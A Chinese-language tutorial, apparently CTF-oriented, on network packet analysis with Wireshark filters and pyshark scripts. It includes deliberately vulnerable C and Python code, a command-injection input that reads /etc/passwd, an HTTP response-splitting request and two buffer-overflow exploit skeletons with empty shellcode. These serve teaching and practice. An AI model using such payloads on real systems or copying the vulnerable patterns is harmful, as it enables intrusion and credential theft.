114_网络协议分析：从数据包捕获到安全漏洞挖掘的实战指南

# 只捕获TCP流量
tcp

# 只捕获特定端口的流量
tcp port 80 or tcp port 443

# 只捕获特定IP地址的流量
host 192.168.1.1

# 捕获特定网段的流量
net 192.168.1.0/24

# 显示所有TCP流量
tcp

# 显示所有HTTP流量
http

# 显示包含特定字符串的数据包
data contains "password"

# 显示特定IP之间的通信
ip.addr == 192.168.1.1 and ip.addr == 192.168.1.2

# 显示特定端口的流量
tcp.port == 8080

# 显示包含错误的TCP数据包
tcp.flags.reset == 1

# 使用Python和pyshark库进行简单的数据包分析
import pyshark

def analyze_http_traffic(capture_file):
    """分析HTTP流量"""
    capture = pyshark.FileCapture(capture_file, display_filter='http')
    
    print("HTTP请求分析:")
    for packet in capture:
        if hasattr(packet, 'http'):
            if hasattr(packet.http, 'request'):
                print(f"\n请求URL: {packet.http.request_full_uri if hasattr(packet.http, 'request_full_uri') else 'N/A'}")
                print(f"请求方法: {packet.http.request_method if hasattr(packet.http, 'request_method') else 'N/A'}")
                print(f"User-Agent: {packet.http.user_agent if hasattr(packet.http, 'user_agent') else 'N/A'}")
            elif hasattr(packet.http, 'response'):
                print(f"\n响应状态码: {packet.http.response_code if hasattr(packet.http, 'response_code') else 'N/A'}")
                print(f"Content-Type: {packet.http.content_type if hasattr(packet.http, 'content_type') else 'N/A'}")

# 示例用法
# analyze_http_traffic('capture.pcap')

1. 客户端发送SYN数据包，序列号为x
2. 服务器返回SYN+ACK数据包，确认号为x+1，序列号为y
3. 客户端发送ACK数据包，确认号为y+1

1. 客户端发送FIN数据包，序列号为u
2. 服务器返回ACK数据包，确认号为u+1
3. 服务器发送FIN数据包，序列号为v
4. 客户端返回ACK数据包，确认号为v+1

import base64

def decode_basic_auth(auth_header):
    """解码Basic认证的Authorization头部"""
    if auth_header.startswith('Basic '):
        encoded_credentials = auth_header[6:]
        try:
            decoded_credentials = base64.b64decode(encoded_credentials).decode('utf-8')
            username, password = decoded_credentials.split(':', 1)
            return username, password
        except:
            return None, None
    return None, None

# 示例
auth_header = 'Basic dXNlcjE6cGFzc3dvcmQxMjM='
username, password = decode_basic_auth(auth_header)
print(f"用户名: {username}, 密码: {password}")  # 输出: 用户名: user1, 密码: password123

import pyshark
import os

def extract_http_files(capture_file, output_dir):
    """从HTTP流量中提取文件"""
    # 确保输出目录存在
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)
    
    capture = pyshark.FileCapture(capture_file, display_filter='http')
    file_count = 0
    
    for packet in capture:
        if hasattr(packet, 'http'):
            try:
                # 尝试提取HTTP响应中的文件
                if hasattr(packet.http, 'response') and hasattr(packet.http, 'file_data'):
                    # 获取内容类型
                    content_type = packet.http.content_type if hasattr(packet.http, 'content_type') else 'application/octet-stream'
                    
                    # 根据内容类型确定文件扩展名
                    extension = '.bin'
                    if 'image/jpeg' in content_type:
                        extension = '.jpg'
                    elif 'image/png' in content_type:
                        extension = '.png'
                    elif 'image/gif' in content_type:
                        extension = '.gif'
                    elif 'application/pdf' in content_type:
                        extension = '.pdf'
                    elif 'text/plain' in content_type:
                        extension = '.txt'
                    elif 'application/javascript' in content_type:
                        extension = '.js'
                    elif 'text/html' in content_type:
                        extension = '.html'
                    
                    # 提取文件数据
                    file_data = bytes.fromhex(packet.http.file_data.replace(':', ''))
                    
                    # 保存文件
                    file_name = f"extracted_file_{file_count}{extension}"
                    file_path = os.path.join(output_dir, file_name)
                    with open(file_path, 'wb') as f:
                        f.write(file_data)
                    
                    print(f"已提取文件: {file_name}")
                    file_count += 1
            except Exception as e:
                print(f"提取文件时出错: {e}")

# 示例用法
# extract_http_files('capture.pcap', 'extracted_files')

import pyshark

def reconstruct_tcp_session(capture_file, src_ip, src_port, dst_ip, dst_port):
    """重建特定的TCP会话"""
    capture = pyshark.FileCapture(capture_file, display_filter=f'tcp and (ip.addr == {src_ip} and tcp.port == {src_port} and ip.addr == {dst_ip} and tcp.port == {dst_port})')
    
    # 存储重建的会话数据
    client_to_server = b''
    server_to_client = b''
    
    for packet in capture:
        if hasattr(packet, 'tcp') and hasattr(packet, 'data'):
            try:
                # 获取源IP、目标IP、源端口和目标端口
                packet_src_ip = packet.ip.src
                packet_dst_ip = packet.ip.dst
                packet_src_port = packet.tcp.srcport
                packet_dst_port = packet.tcp.dstport
                
                # 获取数据
                data_hex = packet.data.data.replace(':', '')
                data = bytes.fromhex(data_hex)
                
                # 根据方向添加到对应的缓冲区
                if packet_src_ip == src_ip and packet_src_port == src_port and packet_dst_ip == dst_ip and packet_dst_port == dst_port:
                    client_to_server += data
                elif packet_src_ip == dst_ip and packet_src_port == dst_port and packet_dst_ip == src_ip and packet_dst_port == src_port:
                    server_to_client += data
            except Exception as e:
                print(f"处理数据包时出错: {e}")
    
    return client_to_server, server_to_client

# 示例用法
# client_data, server_data = reconstruct_tcp_session('capture.pcap', '192.168.1.100', '54321', '10.0.0.1', '80')
# print(f"客户端到服务器的数据长度: {len(client_data)} 字节")
# print(f"服务器到客户端的数据长度: {len(server_data)} 字节")

def extract_images_from_pcap(capture_file, output_dir):
    """从PCAP文件中提取图像文件"""
    import os
    import re
    import subprocess
    
    # 确保输出目录存在
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)
    
    # 使用tshark提取所有数据
    try:
        # 使用tshark提取所有数据包的数据部分
        result = subprocess.run(
            ['tshark', '-r', capture_file, '-T', 'fields', '-e', 'data'],
            capture_output=True,
            text=True,
            check=True
        )
        
        all_data = result.stdout
        
        # 定义图像文件的签名
        image_signatures = {
            'JPEG': 'ffd8',
            'PNG': '89504e470d0a1a0a',
            'GIF': '47494638',
            'BMP': '424d'
        }
        
        image_count = {ext: 0 for ext in image_signatures.keys()}
        
        # 查找并提取每种类型的图像
        for ext, signature in image_signatures.items():
            # 查找所有签名出现的位置
            positions = [m.start() for m in re.finditer(signature, all_data)]
            
            for pos in positions:
                # 从签名开始提取数据
                data_start = pos
                
                # 查找文件结束标志
                if ext == 'JPEG':
                    # JPEG的结束标志是FF D9
                    end_pattern = 'ffd9'
                    end_pos = all_data.find(end_pattern, data_start + len(signature))
                    if end_pos != -1:
                        data_end = end_pos + len(end_pattern)
                        image_data = all_data[data_start:data_end]
                        # 保存文件
                        file_name = f"{output_dir}/extracted_{ext.lower()}_{image_count[ext]}.{ext.lower()}"
                        with open(file_name, 'wb') as f:
                            f.write(bytes.fromhex(image_data))
                        print(f"已提取 {ext} 图像: {file_name}")
                        image_count[ext] += 1
                
                elif ext == 'PNG':
                    # PNG的结束标志是IEND块
                    end_pattern = '49454e44ae426082'
                    end_pos = all_data.find(end_pattern, data_start + len(signature))
                    if end_pos != -1:
                        data_end = end_pos + len(end_pattern)
                        image_data = all_data[data_start:data_end]
                        # 保存文件
                        file_name = f"{output_dir}/extracted_{ext.lower()}_{image_count[ext]}.{ext.lower()}"
                        with open(file_name, 'wb') as f:
                            f.write(bytes.fromhex(image_data))
                        print(f"已提取 {ext} 图像: {file_name}")
                        image_count[ext] += 1
                
                # 可以继续添加其他类型图像的处理逻辑
                
    except Exception as e:
        print(f"提取图像时出错: {e}")

# 示例用法
# extract_images_from_pcap('capture.pcap', 'extracted_images')

// 存在缓冲区溢出漏洞的代码
typedef struct {
    char username[16];
    char password[16];
} UserCredentials;

void process_login_request(char *data) {
    UserCredentials creds;
    // 直接将数据复制到结构体，没有检查大小
    strcpy(creds.username, data);  // 漏洞：如果data长度超过16字节，将导致缓冲区溢出
    // ...处理登录逻辑
}

# 存在命令注入漏洞的Python代码
import os

def ping_host(host):
    # 直接将用户输入拼接到命令中，存在命令注入风险
    command = f"ping -c 4 {host}"  # 漏洞：如果host包含分号等特殊字符，可能执行额外命令
    result = os.system(command)
    return result

# 攻击示例：ping_host("127.0.0.1; cat /etc/passwd")

GET /index.php?page=home%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2015%0d%0a%0d%0a<html>attack</html> HTTP/1.1
Host: vulnerable-website.com

// 简化的存在漏洞的TCP服务器代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8080
#define BUFFER_SIZE 1024

void handle_client(int client_socket) {
    char buffer[BUFFER_SIZE];
    
    // 接收客户端数据
    int bytes_read = read(client_socket, buffer, 4096);  // 漏洞：读取的数据量超过缓冲区大小
    printf("Received: %s\n", buffer);
    
    // 发送响应
    char *response = "Message received";
    write(client_socket, response, strlen(response));
    
    close(client_socket);
}

int main() {
    int server_fd, new_socket;
    struct sockaddr_in address;
    int opt = 1;
    int addrlen = sizeof(address);
    
    // 创建套接字文件描述符
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }
    
    // 设置套接字选项
    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {
        perror("setsockopt");
        exit(EXIT_FAILURE);
    }
    
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(PORT);
    
    // 绑定套接字到端口
    if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }
    
    // 监听连接
    if (listen(server_fd, 3) < 0) {
        perror("listen");
        exit(EXIT_FAILURE);
    }
    
    printf("Server listening on port %d\n", PORT);
    
    while (1) {
        // 接受连接
        if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) {
            perror("accept");
            exit(EXIT_FAILURE);
        }
        
        handle_client(new_socket);
    }
    
    return 0;
}

import socket

# 目标服务器信息
TARGET_IP = '127.0.0.1'
TARGET_PORT = 8080

# 创建socket连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))

# 构造恶意 payload
# 1. 填充缓冲区
padding = b'A' * 1024  # 填充整个缓冲区
# 2. 覆盖返回地址（这里使用示例地址，实际需要根据目标环境确定）
# 假设我们要跳转到shellcode的位置，地址为0x7fffffffd000
return_address = b'\x00\xd0\xff\xff\xff\x7f'  # 小端序
# 3. shellcode（这里使用一个简单的示例，实际需要根据目标系统定制）
# 这个shellcode在Linux x86_64系统上执行/bin/sh
# 注意：这只是一个示例，实际的shellcode需要根据目标系统定制
shellcode = b''  # 为了安全，这里不提供实际的shellcode

# 构造完整的payload
payload = padding + return_address + shellcode

# 发送payload
s.send(payload)

# 关闭连接
s.close()

print("Exploit sent")

# 过滤特定协议的数据包
tcp or udp
# 过滤HTTP和HTTPS流量
http or tls
# 过滤DNS流量
dns

# 过滤包含特定字符串的数据包
data contains "password" or http contains "flag"
# 过滤包含特定十六进制值的数据包
data contains 0a:0b:0c
# 过滤包含特定长度数据的数据包
data.len > 100

# 过滤来自特定IP且包含特定内容的TCP数据包
tcp and ip.src == 192.168.1.100 and data contains "secret"
# 过滤目标为特定端口且状态码为200的HTTP响应
http and tcp.dstport == 80 and http.response.code == 200

import pyshark
import re
from collections import Counter

def analyze_capture_file(capture_file):
    """自动分析捕获文件"""
    print(f"分析文件: {capture_file}")
    
    # 打开捕获文件
    capture = pyshark.FileCapture(capture_file)
    
    # 统计协议分布
    protocols = []
    ip_addresses = []
    ports = []
    
    # 查找可能的密码和敏感信息
    potential_credentials = []
    potential_flags = []
    
    # 正则表达式模式
    password_pattern = re.compile(r'(password|passwd|pwd|secret)[:=]\s*([^\s&]+)', re.IGNORECASE)
    flag_pattern = re.compile(r'(flag|ctf|key|secret)[{_:]([a-zA-Z0-9_}]+)', re.IGNORECASE)
    base64_pattern = re.compile(r'[A-Za-z0-9+/=]{10,}')
    
    # 分析每个数据包
    for packet in capture:
        # 统计协议
        if hasattr(packet, 'transport_layer'):
            protocols.append(packet.transport_layer)
        
        # 统计IP地址
        if hasattr(packet, 'ip'):
            ip_addresses.append(packet.ip.src)
            ip_addresses.append(packet.ip.dst)
        
        # 统计端口
        if hasattr(packet, 'tcp'):
            ports.append(packet.tcp.srcport)
            ports.append(packet.tcp.dstport)
        elif hasattr(packet, 'udp'):
            ports.append(packet.udp.srcport)
            ports.append(packet.udp.dstport)
        
        # 查找敏感信息
        packet_data = str(packet)
        
        # 查找密码
        for match in password_pattern.finditer(packet_data):
            potential_credentials.append(match.group(0))
        
        # 查找flag
        for match in flag_pattern.finditer(packet_data):
            potential_flags.append(match.group(0))
        
        # 查找可能的Base64编码数据
        for match in base64_pattern.finditer(packet_data):
            # 进一步验证是否为有效的Base64编码
            candidate = match.group(0)
            try:
                import base64
                decoded = base64.b64decode(candidate).decode('utf-8')
                # 检查解码后的内容是否包含可打印字符
                if all(32 <= ord(c) <= 126 or c in '\n\t\r' for c in decoded):
                    if len(decoded) > 5:  # 只记录有意义长度的解码结果
                        potential_flags.append(f"Base64: {candidate} -> {decoded}")
            except:
                pass
    
    # 打印统计结果
    print("\n=== 协议分布 ===")
    protocol_counts = Counter(protocols)
    for protocol, count in protocol_counts.most_common():
        print(f"{protocol}: {count}")
    
    print("\n=== 最活跃的IP地址 ===")
    ip_counts = Counter(ip_addresses)
    for ip, count in ip_counts.most_common(10):
        print(f"{ip}: {count}")
    
    print("\n=== 最常用的端口 ===")
    port_counts = Counter(ports)
    for port, count in port_counts.most_common(10):
        print(f"{port}: {count}")
    
    print("\n=== 潜在的凭证信息 ===")
    if potential_credentials:
        for cred in set(potential_credentials):
            print(f"- {cred}")
    else:
        print("未发现潜在凭证")
    
    print("\n=== 潜在的Flag信息 ===")
    if potential_flags:
        for flag in set(potential_flags):
            print(f"- {flag}")
    else:
        print("未发现潜在Flag")

# 示例用法
# analyze_capture_file('capture.pcap')

import pyshark
import base64

def extract_http_base64(capture_file):
    """提取HTTP响应中的Base64编码数据"""
    capture = pyshark.FileCapture(capture_file, display_filter='http.response and http.file_data')
    
    base64_data = []
    
    for packet in capture:
        if hasattr(packet.http, 'file_data'):
            # 提取文件数据
            data_hex = packet.http.file_data.replace(':', '')
            data = bytes.fromhex(data_hex)
            
            # 尝试解码为字符串
            try:
                text = data.decode('utf-8')
                # 查找Base64编码的字符串
                import re
                base64_pattern = re.compile(r'[A-Za-z0-9+/=]{10,}')
                for match in base64_pattern.finditer(text):
                    candidate = match.group(0)
                    # 尝试验证和解码
                    try:
                        decoded = base64.b64decode(candidate).decode('utf-8')
                        base64_data.append((candidate, decoded))
                    except:
                        pass
            except:
                pass
    
    return base64_data

# 示例用法
# base64_results = extract_http_base64('capture.pcap')
# for encoded, decoded in base64_results:
#     print(f"编码: {encoded}\n解码: {decoded}\n")

def analyze_dns_tunnel(capture_file):
    """分析可能的DNS隧道数据"""
    capture = pyshark.FileCapture(capture_file, display_filter='dns.qry.type == 1')  # A记录查询
    
    suspicious_domains = []
    
    for packet in capture:
        if hasattr(packet.dns, 'qry_name'):
            domain = packet.dns.qry_name
            # 检查异常长的域名
            if len(domain) > 30:
                # 提取可能的编码部分（通常是域名的第一部分）
                parts = domain.split('.')
                if len(parts) > 0:
                    encoded_part = parts[0]
                    # 检查是否包含异常字符或模式
                    import re
                    if re.match(r'^[a-zA-Z0-9]{10,}$', encoded_part):
                        suspicious_domains.append((domain, encoded_part))
    
    return suspicious_domains

# 示例用法
# dns_results = analyze_dns_tunnel('capture.pcap')
# for full_domain, encoded_part in dns_results:
#     print(f"域名: {full_domain}\n可能的编码部分: {encoded_part}\n")

def decode_dns_tunnel_data(encoded_data):
    """尝试解码DNS隧道数据"""
    import base64
    
    results = []
    
    # 尝试Base64解码
    try:
        # DNS隧道中可能会替换一些字符，如将'/'和'+'替换为其他字符
        # 尝试常见的替换模式
        replacements = [
            {'/': '-', '+': '_'},
            {'/': '0', '+': '1'},
            {'/': '-', '+': '~'}
        ]
        
        for replace_map in replacements:
            temp = encoded_data
            for old, new in replace_map.items():
                temp = temp.replace(new, old)
            
            # 补充缺失的填充字符
            padding_needed = (4 - len(temp) % 4) % 4
            temp += '=' * padding_needed
            
            try:
                decoded = base64.b64decode(temp).decode('utf-8')
                results.append(f"Base64（替换{replace_map}）: {decoded}")
            except:
                pass
    except:
        pass
    
    # 尝试Base32解码
    try:
        # Base32通常使用大写字母和数字2-7
        # 检查是否可能是Base32编码
        if all(c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=' for c in encoded_data.upper()):
            try:
                decoded = base64.b32decode(encoded_data.upper()).decode('utf-8')
                results.append(f"Base32: {decoded}")
            except:
                pass
    except:
        pass
    
    # 尝试十六进制解码
    try:
        if all(c in '0123456789abcdefABCDEF' for c in encoded_data):
            decoded = bytes.fromhex(encoded_data).decode('utf-8')
            results.append(f"Hex: {decoded}")
    except:
        pass
    
    return results

# 示例用法
# encoded_part = "dGVzdGNvbnRlbnQ="  # 示例，实际需要替换为从DNS隧道中提取的部分
# decode_results = decode_dns_tunnel_data(encoded_part)
# for result in decode_results:
#     print(result)

import socket
import struct

def exploit_vulnerable_service(target_ip, target_port):
    """利用漏洞获取flag"""
    # 创建socket连接
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    
    # 接收初始响应
    initial_response = s.recv(1024)
    print(f"初始响应: {initial_response.decode()}")
    
    # 构造恶意payload
    # 假设漏洞是一个缓冲区溢出，缓冲区大小为256字节
    buffer_size = 256
    
    # 1. 填充缓冲区
    padding = b'A' * buffer_size
    
    # 2. 覆盖返回地址
    # 假设我们已经通过逆向分析找到了一个可用的跳板地址
    # 这个地址应该指向一个call eax或类似的指令
    jump_eax = struct.pack('<I', 0x08048556)  # 示例地址，需要根据实际二进制文件调整
    
    # 3. NOP滑动区域，增加shellcode执行的概率
    nopsled = b'\x90' * 32
    
    # 4. shellcode
    # 这里使用一个简单的Linux x86 shellcode，用于执行/bin/sh
    # 注意：实际的shellcode需要根据目标系统调整
    shellcode = b''  # 为了安全，这里不提供实际的shellcode
    
    # 构造完整的payload
    payload = padding + jump_eax + nopsled + shellcode
    
    # 发送payload
    print("发送漏洞利用payload...")
    s.send(payload)
    
    # 尝试接收响应
    try:
        response = s.recv(4096)
        print(f"响应: {response.decode()}")
    except:
        print("未收到响应或连接已断开")
    
    # 尝试与shell交互
    # 注意：这需要在有交互式shell的情况下使用
    # import telnetlib
    # tn = telnetlib.Telnet()
    # tn.sock = s
    # tn.interact()
    
    # 关闭连接
    s.close()

# 示例用法
# exploit_vulnerable_service('127.0.0.1', 12345)

网络协议分析思维框架：
捕获 → 解析 → 分析 → 挖掘 → 利用 → 总结